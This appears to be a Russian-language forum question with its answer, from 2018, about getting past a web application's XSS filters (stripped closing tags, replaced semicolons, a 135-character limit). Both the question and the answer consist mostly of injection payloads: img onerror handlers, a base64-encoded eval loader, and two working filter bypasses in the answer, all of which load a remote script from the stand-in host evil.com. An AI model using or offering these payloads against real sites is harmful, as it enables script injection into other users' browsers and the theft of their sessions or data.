Как злоупотреблять XSS с определенными критериями или фильтрами? - PullRequest
0 голосов
/ 29 сентября 2018

Я обнаружил, что веб-приложение уязвимо для XSS и может запустить некоторый javascript с использованием тега img, однако метод, который я использую, уничтожает остальную часть страницы, так как они используют некоторые фильтры для попыткиостановите его.

Фильтры, которые я обнаружил до сих пор, следующие:

  • </anythingyouwant> заменяется ничем
  • /> заменяется ничем
  • ; заменяется пробелом до следующего предела >
  • 135 символов, включая способ доставки, например <img src="." onerror="alert('xss')">

Внедрение <img src="." onerror="alert('xss')"> работхорошо, однако эти разработчики настроены довольно скептически и хотят видеть полный PoC полного кода javascript.Можно ли вообще запустить произвольный скрипт?

Я пробовал:

  • <img src="." onerror="eval(atob('Yj1kb2N1bWVudDthPWIuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9Jy8vZXZpbC5jb20vbXlzY3JpcHQnO2IuYm9keS5hcHBlbmRDaGlsZChhKQ=='))"> результат: слишком длинный, даже с укороченным URL
  • <script src="//evil.com/myscript" /> результат: не может закрывать теги скрипта подобным образом, и он фильтруется, а веб-приложение уничтожает остальную часть страницы, пропуская закрывающий тег
  • <script src=//evil.com/myscript"></script> результат: фильтруется, уничтожает остальныестраницы, как указано выше
  • <img src="." onerror="b=document;a=b.createElement('script');a.src='//evil.com/myscript';b.body.appendChild(a)"> результат: точки с запятой фильтруются, разрывает веб-страницу
  • <img src="." onerror="b=document a=b.createElement('script') a.src='//evil.com/myscript' b.body.appendChild(a)"> результат: я не уверен, что это допустимый js, но он появляется в chrome view page sourceкак задумано, но не работает, как хотелось

Я использую хром для тестирования, на случай, если это как-то уместно.

1 Ответ

0 голосов
/ 29 сентября 2018

Меры безопасности, которые вы перечислили, явно недостаточны.Два примера, которые я мог бы представить для вас:

<img src="." onerror="document.write('<script src=\'//evil.com/myscript\'><'+'/'+'script>')">

или ваша версия с , вместо ;:

<img src="." onerror="b=document, a=b.createElement('script'), a.src='//evil.com/myscript', b.body.appendChild(a)">

Но я абсолютно уверен, что естьмного других способов сделать это.Вы также можете проверить следующую шпаргалку , которую я нашел в этом ответе .

...